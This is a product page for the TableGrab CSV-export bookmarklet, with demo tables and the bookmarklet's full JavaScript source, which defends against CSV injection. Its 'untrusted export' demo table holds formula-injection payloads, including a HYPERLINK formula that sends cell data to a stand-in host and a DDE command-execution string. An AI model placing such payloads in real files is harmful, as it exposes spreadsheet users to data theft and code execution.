Free tool · No install · Works everywhere

Stop retyping tables off the web.

TableGrab turns any table on any web page into a clean, Excel-ready CSV in one click. It handles the things that break copy and paste: merged cells, hidden columns, footnote markers, currency symbols and numbers stored as text.

One file. No extension, no account, no network calls. The whole thing runs inside your browser tab and nothing about the page you are on leaves your machine. The source is right here on this page, unminified, so you can read every line before you trust it.

Install it in ten seconds

A bookmarklet is just a bookmark whose address is a small program. Your IT department does not need to approve anything, because there is nothing to approve.

Grab Table

Drag this button up to your bookmarks bar. Do not click it here.

  1. Show your bookmarks bar if it is hidden. Ctrl+Shift+B on Windows, Cmd+Shift+B on Mac.
  2. Drag the Grab Table button onto that bar.
  3. Go to any page with a table. Click the bookmark. Every table gets outlined with a CSV and a Copy button.
  4. Press Esc when you are done, or click the bookmark again to close it.

If dragging does not work (some managed browsers block it), create a new bookmark by hand, name it anything, and paste the code below into the URL field.

Show the bookmarklet code

Try it on these four

Every table below is deliberately hostile. Each one is a real pattern that makes a plain copy and paste come out wrong. Click your new bookmark and export them.

1. The financial report Merged cells + hidden column

Two header rows, a region label spanning three rows, a column the report author hid from the public view, negatives in accounting parentheses, a European number format, and footnote markers glued to the labels. Copy and paste turns this into a staircase.

Q2 Regional Performance
Region Segment Revenue1 Net change Internal margin
Q1 Q2
North America Enterprise $1,284,900 $1,406,220 121,320 38.4%
Mid‑market $612,455 $570,275 (42,180) 29.1%
Public sector2 $188,000 $204,500 16,500 22.7%
EMEA Enterprise 1.284.900,50 1.402.117,80 117.217,30 35.9%
Mid‑market 402.118,00 388.940,25 (13.177,75) 26.8%
TEMPLATE_ROWDO_NOT_EXPORT0000

1. Recognized revenue, net of refunds. 2. Includes two contracts pending signature.

2. The CMS export Line breaks inside cells

Addresses split across lines with <br>, non-breaking spaces for alignment, links inside cells, and a units column with a real superscript exponent that must survive. Copy and paste explodes the multi-line cells into extra rows.

Approved facilities vendors
VendorSite addressCoverageRateContact
Brightline Facilities* 4120 Harbour Way
Suite 300
Baltimore, MD 21230
1,850 m2 per visit $3,450.00 n.osei@example.com
Cardinal Mechanical 77 Rivermill Road
Building C
Wilmington, DE 19801
940 m2 per visit $1,880.00 dispatch@example.com
Halloran & Pike 1900 Beaumont Pike
Wilmington, DE 19807
2,400 m2 per visit $4,120.00 contracts@example.com

* Master services agreement expires in November.

3. The dashboard grid Not an HTML table at all

Modern data grids are stacks of div elements with ARIA roles. There is no <table> here, which is why most table scrapers see nothing. One column is toggled off, exactly like a column chooser would do it.

Ticket
Account
Priority
Age (days)
Assigned rep
INC-40218
Ardenwood Health
P1
6
R. Castellanos
INC-40233
Meridian Freight
P2
14
T. Abernathy
INC-40251
Pinehurst Municipal
P3
27
R. Castellanos

4. The untrusted export Formula injection

A table on a web page is input from a stranger. If a cell starts with =, +, @ or a tab, most spreadsheets will happily execute it when the file is opened. TableGrab prefixes those cells with an apostrophe so they land as text, while genuine negative numbers stay numeric.

Marketplace payout report
SellerReferenceAdjustmentPayout
Northgate Supply =HYPERLINK("http://collect.example/log?d="&A1,"View invoice") -1,250.00 $18,410.00
Vallecourt Trading +1+cmd|'/c calc'!A0 0.00 $7,905.50
Okonjo Logistics @SUM(1+9)*9 -84.20 $2,338.75

What it is actually doing

Nine decisions separate a usable CSV from a mess you have to clean by hand. This is all of them.

01

Merged cells get filled

Rowspan and colspan are expanded into a true rectangle and the merged value is repeated, so the result can go straight into a pivot table.

02

Hidden data stays hidden

Rows, cells and column groups hidden by CSS are dropped, including zero-width columns. You export what you can see. A checkbox turns this off when you want everything.

03

Footnotes come off the labels

A superscript at the end of a cell is treated as a footnote marker and removed. One that has text after it is treated as an exponent and kept.

04

Line breaks become spaces

Multi-line cells collapse to one clean value instead of blowing up into extra rows. Non-breaking spaces and zero-width characters are stripped.

05

Numbers arrive as numbers

Currency symbols and thousands separators are removed, accounting parentheses become a minus sign, and European decimal commas are converted.

06

Formula injection is blocked

Cells starting with an equals sign, plus, at sign or tab are quoted as text. This is a real attack against anyone who opens a downloaded CSV.

07

Excel opens it clean

RFC 4180 quoting, CRLF line endings and a UTF-8 byte order mark, so accented characters do not turn into question marks.

08

ARIA grids count as tables

Dashboard grids built out of div elements are read through their ARIA roles, so the tool works on software that never emits a table tag.

09

Nothing leaves the tab

No fetch, no XHR, no analytics, no remote script. The entire program is inside the bookmark, which is why you can read it before you trust it.

Where it fails

Any tool that only tells you what it does well is selling you something. Here is the honest list.

Read the source

You are being asked to put a program in your browser. You should be able to read it first. This is the whole thing, annotated, before minification.

Show the annotated source (587 lines)
/*!
 * TableGrab - one-click web table to clean CSV
 * A self-contained bookmarklet. No network calls. Nothing leaves the browser.
 * Christopher Kokoski / Kokoski Advisory
 *
 * Design notes (why this is more than document.querySelector('table')):
 *  1. rowspan / colspan are expanded into a true rectangular grid, and merged
 *     values are filled down and across, so the CSV is actually pivotable.
 *  2. Rows, cells and <col> elements hidden by CSS are dropped. Dashboards hide
 *     columns constantly; a naive scraper silently imports them.
 *  3. Footnote markers inside <sup> are stripped, <br> becomes a space, and
 *     form controls inside editable grids report their current value.
 *  4. Numbers are normalized: currency symbols removed, thousands separators
 *     removed, (1,234) becomes -1234, European 1.234,56 becomes 1234.56.
 *  5. Output is RFC 4180 CSV with CRLF and a UTF-8 BOM so Excel opens it clean.
 *  6. Cells beginning with = + - @ tab or CR are prefixed with an apostrophe.
 *     A table on a web page is untrusted input. CSV injection is a real thing.
 *  7. Dashboard grids built from divs are read through their ARIA roles, so the
 *     tool works on software that never emits a <table> tag.
 *  8. The UI lives in a shadow root so page CSS cannot break it and it cannot
 *     break page CSS.
 *  9. There is no fetch, no XHR and no remote script anywhere in this file.
 *     That is checkable, which is the only reason you should trust it.
 */
(function () {
  'use strict';

  var NS = '__tableGrab__';
  if (window[NS] && typeof window[NS].teardown === 'function') {
    window[NS].teardown();
    return;
  }

  var OPTS = {
    cleanNumbers: true,
    mergeHeaders: true,        // collapse a multi-row header into one row
    includeHiddenCols: false,  // author-hidden columns are usually real data
    includeHiddenRows: false   // hidden rows are usually templates and spacers
  };
  var MAX_SPAN_C = 200, MAX_SPAN_R = 500;

  /* ------------------------------------------------------------------ util */

  // Invisible and typographic characters are what make a "clean looking" cell
  // fail a numeric parse or a lookup three steps later.
  function clean(s) {
    return String(s == null ? '' : s)
      .replace(/[\u200B-\u200D\uFEFF\u00AD]/g, '')
      .replace(/[\u00A0\u2007\u2009\u202F]/g, ' ')
      .replace(/[\u2011\u2212]/g, '-')
      .replace(/\s+/g, ' ')
      .trim();
  }

  function isHidden(el) {
    if (!el || el.nodeType !== 1) return false;
    if (el.hasAttribute('hidden')) return true;
    if (el.getAttribute('aria-hidden') === 'true') return true;
    var s;
    try { s = getComputedStyle(el); } catch (e) { return false; }
    if (!s) return false;
    return s.display === 'none' || s.visibility === 'hidden' || s.visibility === 'collapse';
  }

  // Collapsing a column to zero width is a common "hide this column" trick that
  // computed display does not catch. A hidden column keeps its full height, so
  // either dimension being ~0 counts. Only trusted when the table itself has
  // been laid out, otherwise a collapsed accordion would wipe out everything.
  function isZeroSize(el) {
    var r = el.getBoundingClientRect();
    return r.width < 2 || r.height < 2;
  }

  function isLaidOut(el) {
    if (isHidden(el)) return false;
    var r = el.getBoundingClientRect();
    return r.width > 2 && r.height > 2;
  }

  function textFollows(node, root) {
    var w = document.createTreeWalker(root, NodeFilter.SHOW_TEXT, null);
    var seen = false, n;
    while ((n = w.nextNode())) {
      if (node.contains(n)) { seen = true; continue; }
      if (seen && n.nodeValue && n.nodeValue.trim()) return true;
    }
    return false;
  }

  function cellText(cell) {
    var clone = cell.cloneNode(true);
    var drop = clone.querySelectorAll('script,style,noscript,[aria-hidden="true"]');
    for (var i = 0; i < drop.length; i++) drop[i].parentNode.removeChild(drop[i]);

    // Footnote markers only. Real footnotes sit at the end of a cell, so a
    // superscript with text after it is treated as an exponent and kept.
    var sups = clone.querySelectorAll('sup,.footnote,.fn-ref');
    for (var j = 0; j < sups.length; j++) {
      var sup = sups[j];
      var t = (sup.textContent || '').trim();
      if (t.length > 4 || !/^[*\u2020\u2021\u00A7\u00B6\[\]()\d,.a-z]+$/i.test(t)) continue;
      if (textFollows(sup, clone)) continue;
      sup.parentNode.removeChild(sup);
    }

    var brs = clone.querySelectorAll('br');
    for (var k = 0; k < brs.length; k++) {
      brs[k].parentNode.replaceChild(document.createTextNode(' '), brs[k]);
    }
    var blocks = clone.querySelectorAll('p,div,li,tr,td,th');
    for (var m = 0; m < blocks.length; m++) {
      blocks[m].appendChild(document.createTextNode(' '));
    }

    var text = clone.textContent || '';
    if (!text.trim()) {
      var inp = cell.querySelector('input,select,textarea');
      if (inp) {
        if (inp.type === 'checkbox' || inp.type === 'radio') text = inp.checked ? 'TRUE' : 'FALSE';
        else if (inp.tagName === 'SELECT') text = inp.options[inp.selectedIndex] ? inp.options[inp.selectedIndex].text : '';
        else text = inp.value || '';
      }
    }
    return clean(text);
  }

  // Predictable beats clever. Only unambiguous formats are converted.
  function normNumber(s) {
    if (!OPTS.cleanNumbers || !s) return s;
    var t = s.trim(), neg = false;
    if (/^\(.+\)$/.test(t)) { neg = true; t = t.slice(1, -1).trim(); }
    var m = t.match(/^([-+])?\s*(?:[$\u20AC\u00A3\u00A5\u20B9]|USD|EUR|GBP|CAD)?\s*([\d.,\s']+?)\s*(%)?$/i);
    if (!m) return s;
    var body = m[2].replace(/[\s']/g, '');
    if (!/\d/.test(body)) return s;
    if (/^\d{1,3}(\.\d{3})+(,\d+)?$/.test(body)) body = body.replace(/\./g, '').replace(',', '.');
    else body = body.replace(/,/g, '');
    if (!/^\d*\.?\d+$/.test(body)) return s;
    if (m[1] === '-') neg = true;
    return (neg ? '-' : '') + body + (m[3] || '');
  }

  function looksNumeric(s) { return /^-?\d*\.?\d+%?$/.test(s); }

  function csvCell(v) {
    var s = String(v == null ? '' : v);
    if (/^[=+\-@\t\r]/.test(s) && !looksNumeric(s)) s = "'" + s;
    if (/["\n\r,]/.test(s) || /^\s|\s$/.test(s)) s = '"' + s.replace(/"/g, '""') + '"';
    return s;
  }

  function tsvCell(v) {
    var s = String(v == null ? '' : v);
    if (/^[=+\-@\t\r]/.test(s) && !looksNumeric(s)) s = "'" + s;
    if (/[\t\n\r"]/.test(s)) s = '"' + s.replace(/"/g, '""') + '"';
    return s;
  }

  function slug(s) {
    return clean(s).toLowerCase().replace(/[^a-z0-9]+/g, '-').replace(/^-+|-+$/g, '').slice(0, 60) || 'table';
  }

  /* ------------------------------------------------------- grid extraction */

  // HTMLTableElement.rows is the right tool here: it excludes rows belonging to
  // nested tables, and it returns thead, then tbody, then tfoot regardless of
  // the order those sections appear in the source. A querySelectorAll('tr')
  // would put a source-order <tfoot> in the middle of the data.
  function ownTrs(table) {
    if (table.rows && table.rows.length) return Array.prototype.slice.call(table.rows);
    var out = [], all = table.querySelectorAll('tr');
    for (var i = 0; i < all.length; i++) {
      if (all[i].closest('table') === table) out.push(all[i]);
    }
    return out;
  }

  function ownAriaRows(root) {
    var out = [], all = root.querySelectorAll('[role="row"]');
    for (var i = 0; i < all.length; i++) {
      if (all[i].closest('[role="table"],[role="grid"],[role="treegrid"]') === root) out.push(all[i]);
    }
    return out;
  }

  function buildGrid(rows, getCells, spanAttrs, tableVisible) {
    var vals = [], hid = [], maxCols = 0;

    for (var r = 0; r < rows.length; r++) {
      var tr = rows[r];
      var rowHidden = isHidden(tr);
      if (!vals[r]) { vals[r] = []; hid[r] = []; }
      var c = 0, cells = getCells(tr);

      for (var i = 0; i < cells.length; i++) {
        var cell = cells[i];
        while (vals[r][c] !== undefined) c++;
        var cs = Math.min(MAX_SPAN_C, Math.max(1, parseInt(cell.getAttribute(spanAttrs[0]) || '1', 10) || 1));
        var rs = Math.min(MAX_SPAN_R, Math.max(1, parseInt(cell.getAttribute(spanAttrs[1]) || '1', 10) || 1));
        var txt = normNumber(cellText(cell));
        var isHid = rowHidden || isHidden(cell) || (tableVisible && isZeroSize(cell));

        for (var dr = 0; dr < rs; dr++) {
          for (var dc = 0; dc < cs; dc++) {
            var rr = r + dr, cc = c + dc;
            if (!vals[rr]) { vals[rr] = []; hid[rr] = []; }
            vals[rr][cc] = txt;   // merged values fill down and across
            hid[rr][cc] = isHid;
          }
        }
        c += cs;
        if (c > maxCols) maxCols = c;
      }
    }

    for (var y = 0; y < vals.length; y++) {
      if (!vals[y]) { vals[y] = []; hid[y] = []; }
      for (var x = 0; x < maxCols; x++) {
        if (vals[y][x] === undefined) { vals[y][x] = ''; hid[y][x] = false; }
      }
    }
    return { vals: vals, hid: hid, cols: maxCols };
  }

  function hiddenColgroup(table, cols) {
    var flags = [], list = table.querySelectorAll('col'), idx = 0;
    for (var i = 0; i < list.length; i++) {
      if (list[i].closest('table') !== table) continue;
      var span = Math.max(1, parseInt(list[i].getAttribute('span') || '1', 10) || 1);
      var h = isHidden(list[i]);
      for (var j = 0; j < span && idx < cols; j++, idx++) flags[idx] = h;
    }
    return flags;
  }

  /**
   * How many leading rows are header rows: every own cell is a TH (or an ARIA
   * columnheader). Grid row index matches source row index for leading rows,
   * so this count maps straight onto the built grid.
   */
  function headerRowCount(rows, isHeaderCell) {
    var n = 0;
    for (var r = 0; r < rows.length; r++) {
      var cells = rows[r], all = cells.length > 0;
      for (var i = 0; i < cells.length && all; i++) {
        if (!isHeaderCell(cells[i])) all = false;
      }
      if (!all) break;
      n++;
    }
    return n;
  }

  /**
   * Collapses a multi-row header into a single row. A two level header expands
   * to "Revenue | Revenue" over "Q1 | Q2", which reaches a spreadsheet as two
   * near duplicate rows. Joining the distinct parts per column gives
   * "Revenue Q1 | Revenue Q2" and one header row, which is what a person wants.
   */
  function mergeHeaderRows(grid, count) {
    if (!OPTS.mergeHeaders || count < 2 || grid.vals.length < count) return grid;
    var merged = [], mergedHid = [];
    for (var x = 0; x < grid.cols; x++) {
      var parts = [], hiddenAll = true;
      for (var r = 0; r < count; r++) {
        var v = grid.vals[r][x];
        if (v !== '' && parts[parts.length - 1] !== v) parts.push(v);
        if (!grid.hid[r][x]) hiddenAll = false;
      }
      merged.push(parts.join(' '));
      mergedHid.push(hiddenAll);
    }
    grid.vals = [merged].concat(grid.vals.slice(count));
    grid.hid = [mergedHid].concat(grid.hid.slice(count));
    return grid;
  }

  function prune(grid, colFlags) {
    var vals = grid.vals, hid = grid.hid, cols = grid.cols;
    var keepCol = [], x, y;

    for (x = 0; x < cols; x++) {
      if (colFlags && colFlags[x] && !OPTS.includeHiddenCols) { keepCol.push(false); continue; }
      var anyVisible = false, anyContent = false;
      for (y = 0; y < vals.length; y++) {
        if (!hid[y][x]) anyVisible = true;
        if (vals[y][x] !== '') anyContent = true;
      }
      keepCol.push(OPTS.includeHiddenCols ? anyContent : (anyVisible && anyContent));
    }

    var out = [];
    for (y = 0; y < vals.length; y++) {
      var rowVisible = false, rowContent = false, row = [];
      for (x = 0; x < cols; x++) {
        if (!keepCol[x]) continue;
        row.push(vals[y][x]);
        if (!hid[y][x]) rowVisible = true;
        if (vals[y][x] !== '') rowContent = true;
      }
      if (!row.length) continue;
      if (!rowContent) continue;
      if (!rowVisible && !OPTS.includeHiddenRows) continue;
      out.push(row);
    }
    return out;
  }

  function extract(entry) {
    var el = entry.el, grid, colFlags = null, hdrRows = 0;
    var tableVisible = isLaidOut(el);
    if (entry.kind === 'table') {
      grid = buildGrid(ownTrs(el), function (tr) {
        var out = [];
        for (var i = 0; i < tr.children.length; i++) {
          var tag = tr.children[i].tagName;
          if (tag === 'TD' || tag === 'TH') out.push(tr.children[i]);
        }
        return out;
      }, ['colspan', 'rowspan'], tableVisible);
      colFlags = hiddenColgroup(el, grid.cols);
      hdrRows = headerRowCount(ownTrs(el).map(function (tr) {
        var cs = [];
        for (var i = 0; i < tr.children.length; i++) {
          var tag = tr.children[i].tagName;
          if (tag === 'TD' || tag === 'TH') cs.push(tr.children[i]);
        }
        return cs;
      }), function (c) { return c.tagName === 'TH'; });
    } else {
      grid = buildGrid(ownAriaRows(el), function (tr) {
        var out = [], kids = tr.querySelectorAll('[role="cell"],[role="gridcell"],[role="columnheader"],[role="rowheader"]');
        for (var i = 0; i < kids.length; i++) {
          if (kids[i].closest('[role="row"]') === tr) out.push(kids[i]);
        }
        return out;
      }, ['aria-colspan', 'aria-rowspan'], tableVisible);
    }
    return prune(mergeHeaderRows(grid, hdrRows), colFlags);
  }

  /* --------------------------------------------------------- table finding */

  function findIn(doc, out) {
    var i, el, tables = doc.querySelectorAll('table');
    for (i = 0; i < tables.length; i++) {
      el = tables[i];
      if (el.parentElement && el.parentElement.closest('table')) continue; // nested
      if (isHidden(el)) continue;
      var rows = ownTrs(el);
      if (rows.length < 2) continue;
      out.push({ el: el, kind: 'table', doc: doc });
    }
    var grids = doc.querySelectorAll('[role="table"],[role="grid"],[role="treegrid"]');
    for (i = 0; i < grids.length; i++) {
      el = grids[i];
      if (el.tagName === 'TABLE') continue;
      if (isHidden(el)) continue;
      if (ownAriaRows(el).length < 2) continue;
      out.push({ el: el, kind: 'grid', doc: doc });
    }
    var frames = doc.querySelectorAll('iframe');
    for (i = 0; i < frames.length; i++) {
      try {
        var d = frames[i].contentDocument;
        if (d && d.body) findIn(d, out);
      } catch (e) { /* cross-origin, nothing we can do */ }
    }
    return out;
  }

  function label(entry, n) {
    var cap = entry.el.querySelector && entry.el.querySelector('caption');
    var name = cap ? clean(cap.textContent) : '';
    if (!name) {
      var prev = entry.el.previousElementSibling;
      for (var hops = 0; prev && hops < 3; hops++, prev = prev.previousElementSibling) {
        if (/^H[1-6]$/.test(prev.tagName)) { name = clean(prev.textContent); break; }
      }
    }
    if (!name) name = entry.el.getAttribute('aria-label') || '';
    return clean(name).slice(0, 70) || ('Table ' + n);
  }

  /* ------------------------------------------------------------- delivery */

  function buildCsv(rows) {
    var lines = [];
    for (var i = 0; i < rows.length; i++) {
      var cells = [];
      for (var j = 0; j < rows[i].length; j++) cells.push(csvCell(rows[i][j]));
      lines.push(cells.join(','));
    }
    return lines.join('\r\n');
  }

  function download(rows, name) {
    var blob = new Blob(['\uFEFF' + buildCsv(rows)], { type: 'text/csv;charset=utf-8;' });
    var url = URL.createObjectURL(blob);
    var a = document.createElement('a');
    a.href = url; a.download = name; a.style.display = 'none';
    document.body.appendChild(a); a.click();
    setTimeout(function () { document.body.removeChild(a); URL.revokeObjectURL(url); }, 1500);
  }

  function copyTsv(rows, done) {
    var lines = [];
    for (var i = 0; i < rows.length; i++) {
      var cells = [];
      for (var j = 0; j < rows[i].length; j++) cells.push(tsvCell(rows[i][j]));
      lines.push(cells.join('\t'));
    }
    var text = lines.join('\n');
    function fallback() {
      var ta = document.createElement('textarea');
      ta.value = text;
      ta.style.cssText = 'position:fixed;top:-1000px;left:-1000px;opacity:0';
      document.body.appendChild(ta); ta.select();
      var ok = false;
      try { ok = document.execCommand('copy'); } catch (e) { ok = false; }
      document.body.removeChild(ta);
      done(ok);
    }
    if (navigator.clipboard && navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).then(function () { done(true); }, fallback);
    } else fallback();
  }

  /* -------------------------------------------------------------------- UI */

  var host = document.createElement('div');
  host.setAttribute('data-tablegrab', '');
  host.style.cssText = 'all:initial;position:absolute;top:0;left:0;width:0;height:0;z-index:2147483647';
  var root = host.attachShadow ? host.attachShadow({ mode: 'open' }) : host;
  document.documentElement.appendChild(host);

  var style = document.createElement('style');
  style.textContent = [
    ':host,*{box-sizing:border-box;font-family:ui-sans-serif,system-ui,-apple-system,"Segoe UI",Roboto,sans-serif}',
    '.tg-out{position:absolute;pointer-events:none;border:2px solid #6366f1;border-radius:6px;box-shadow:0 0 0 3px rgba(99,102,241,.16)}',
    '.tg-badge{position:absolute;display:flex;align-items:center;gap:6px;background:#111827;color:#fff;border-radius:8px;padding:5px 6px 5px 10px;font-size:12px;line-height:1;box-shadow:0 6px 18px rgba(0,0,0,.28);white-space:nowrap}',
    '.tg-badge b{font-weight:600;max-width:220px;overflow:hidden;text-overflow:ellipsis}',
    '.tg-badge span{color:#a5b4fc;font-variant-numeric:tabular-nums}',
    '.tg-badge button{cursor:pointer;border:0;border-radius:6px;padding:5px 9px;font-size:12px;font-weight:600;background:#6366f1;color:#fff}',
    '.tg-badge button.alt{background:#374151}',
    '.tg-badge button:hover{filter:brightness(1.15)}',
    '.tg-bar{position:fixed;top:14px;right:14px;background:#111827;color:#fff;border-radius:12px;padding:12px 14px;font-size:13px;box-shadow:0 12px 34px rgba(0,0,0,.35);min-width:230px}',
    '.tg-bar h4{margin:0 0 2px;font-size:13px;font-weight:700;letter-spacing:.2px}',
    '.tg-bar p{margin:0 0 10px;font-size:11px;color:#9ca3af}',
    '.tg-bar label{display:flex;align-items:center;gap:7px;font-size:12px;color:#e5e7eb;margin:5px 0;cursor:pointer}',
    '.tg-bar .close{position:absolute;top:8px;right:9px;cursor:pointer;color:#9ca3af;font-size:15px;line-height:1;background:none;border:0}',
    '.tg-bar .hint{margin:9px 0 0;font-size:10px;color:#6b7280}',
    '.tg-toast{position:fixed;left:50%;bottom:26px;transform:translateX(-50%);background:#111827;color:#fff;padding:11px 17px;border-radius:10px;font-size:13px;box-shadow:0 12px 34px rgba(0,0,0,.35)}',
    '.tg-empty{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:#111827;color:#fff;padding:18px 22px;border-radius:12px;font-size:14px;box-shadow:0 12px 34px rgba(0,0,0,.35)}'
  ].join('');
  root.appendChild(style);

  function el(tag, cls, txt) {
    var n = document.createElement(tag);
    if (cls) n.className = cls;
    if (txt != null) n.textContent = txt;
    return n;
  }

  function toast(msg) {
    var t = el('div', 'tg-toast', msg);
    root.appendChild(t);
    setTimeout(function () { if (t.parentNode) t.parentNode.removeChild(t); }, 2600);
  }

  var found = findIn(document, []);
  var overlays = [];

  function place() {
    var sx = window.pageXOffset, sy = window.pageYOffset;
    for (var i = 0; i < overlays.length; i++) {
      var o = overlays[i];
      var r;
      try { r = o.entry.el.getBoundingClientRect(); } catch (e) { continue; }
      var top = r.top + sy, left = r.left + sx;
      if (o.entry.doc !== document) { top = sy + 8; left = sx + 8; }
      o.out.style.top = top + 'px';
      o.out.style.left = left + 'px';
      o.out.style.width = r.width + 'px';
      o.out.style.height = r.height + 'px';
      // Sit above the table and hug its right edge, where page text is least
      // likely to be covered.
      var bw = o.badge.offsetWidth || 260;
      o.badge.style.top = Math.max(sy + 4, top - 34) + 'px';
      o.badge.style.left = Math.max(sx + 4, left + r.width - bw) + 'px';
    }
  }

  function teardown() {
    window.removeEventListener('scroll', place, true);
    window.removeEventListener('resize', place);
    document.removeEventListener('keydown', onKey, true);
    if (host.parentNode) host.parentNode.removeChild(host);
    try { delete window[NS]; } catch (e) { window[NS] = null; }
  }

  function onKey(e) { if (e.key === 'Escape') teardown(); }

  if (!found.length) {
    var empty = el('div', 'tg-empty', 'TableGrab found no data tables on this page.');
    root.appendChild(empty);
    setTimeout(teardown, 2200);
    window[NS] = { teardown: teardown };
    return;
  }

  found.forEach(function (entry, i) {
    var n = i + 1;
    var name = label(entry, n);
    var out = el('div', 'tg-out');
    var badge = el('div', 'tg-badge');
    var title = el('b', null, name);
    var size = el('span', null, '');
    var dl = el('button', null, 'CSV');
    var cp = el('button', 'alt', 'Copy');

    function rows() { return extract(entry); }
    function refreshSize() {
      var r = rows();
      size.textContent = r.length + ' x ' + (r[0] ? r[0].length : 0);
      return r;
    }

    dl.addEventListener('click', function () {
      var r = refreshSize();
      if (!r.length) return toast('Nothing to export from that table.');
      download(r, slug(document.title) + '--' + slug(name) + '.csv');
      toast('Downloaded ' + r.length + ' rows x ' + r[0].length + ' columns');
    });
    cp.addEventListener('click', function () {
      var r = refreshSize();
      if (!r.length) return toast('Nothing to copy from that table.');
      copyTsv(r, function (ok) {
        toast(ok ? 'Copied ' + r.length + ' rows. Paste into Sheets or Excel.' : 'Copy blocked by the browser. Use CSV instead.');
      });
    });

    badge.appendChild(title);
    badge.appendChild(size);
    badge.appendChild(dl);
    badge.appendChild(cp);
    root.appendChild(out);
    root.appendChild(badge);
    overlays.push({ entry: entry, out: out, badge: badge, refresh: refreshSize });
    refreshSize();
  });

  var bar = el('div', 'tg-bar');
  var close = el('button', 'close', '\u00D7');
  close.addEventListener('click', teardown);
  bar.appendChild(close);
  bar.appendChild(el('h4', null, 'TableGrab'));
  bar.appendChild(el('p', null, found.length + (found.length === 1 ? ' table found' : ' tables found')));

  function toggle(labelText, key) {
    var l = el('label');
    var cb = document.createElement('input');
    cb.type = 'checkbox';
    cb.checked = OPTS[key];
    cb.addEventListener('change', function () {
      OPTS[key] = cb.checked;
      overlays.forEach(function (o) { o.refresh(); });
    });
    l.appendChild(cb);
    l.appendChild(document.createTextNode(labelText));
    return l;
  }
  bar.appendChild(toggle('Clean numbers', 'cleanNumbers'));
  bar.appendChild(toggle('Merge multi-row headers', 'mergeHeaders'));
  bar.appendChild(toggle('Include hidden columns', 'includeHiddenCols'));
  bar.appendChild(toggle('Include hidden rows', 'includeHiddenRows'));
  bar.appendChild(el('p', 'hint', 'Esc to exit. Nothing is uploaded anywhere.'));
  root.appendChild(bar);

  place();
  window.addEventListener('scroll', place, true);
  window.addEventListener('resize', place);
  document.addEventListener('keydown', onKey, true);

  window[NS] = { teardown: teardown, extract: extract, csv: buildCsv, found: found, opts: OPTS };
})();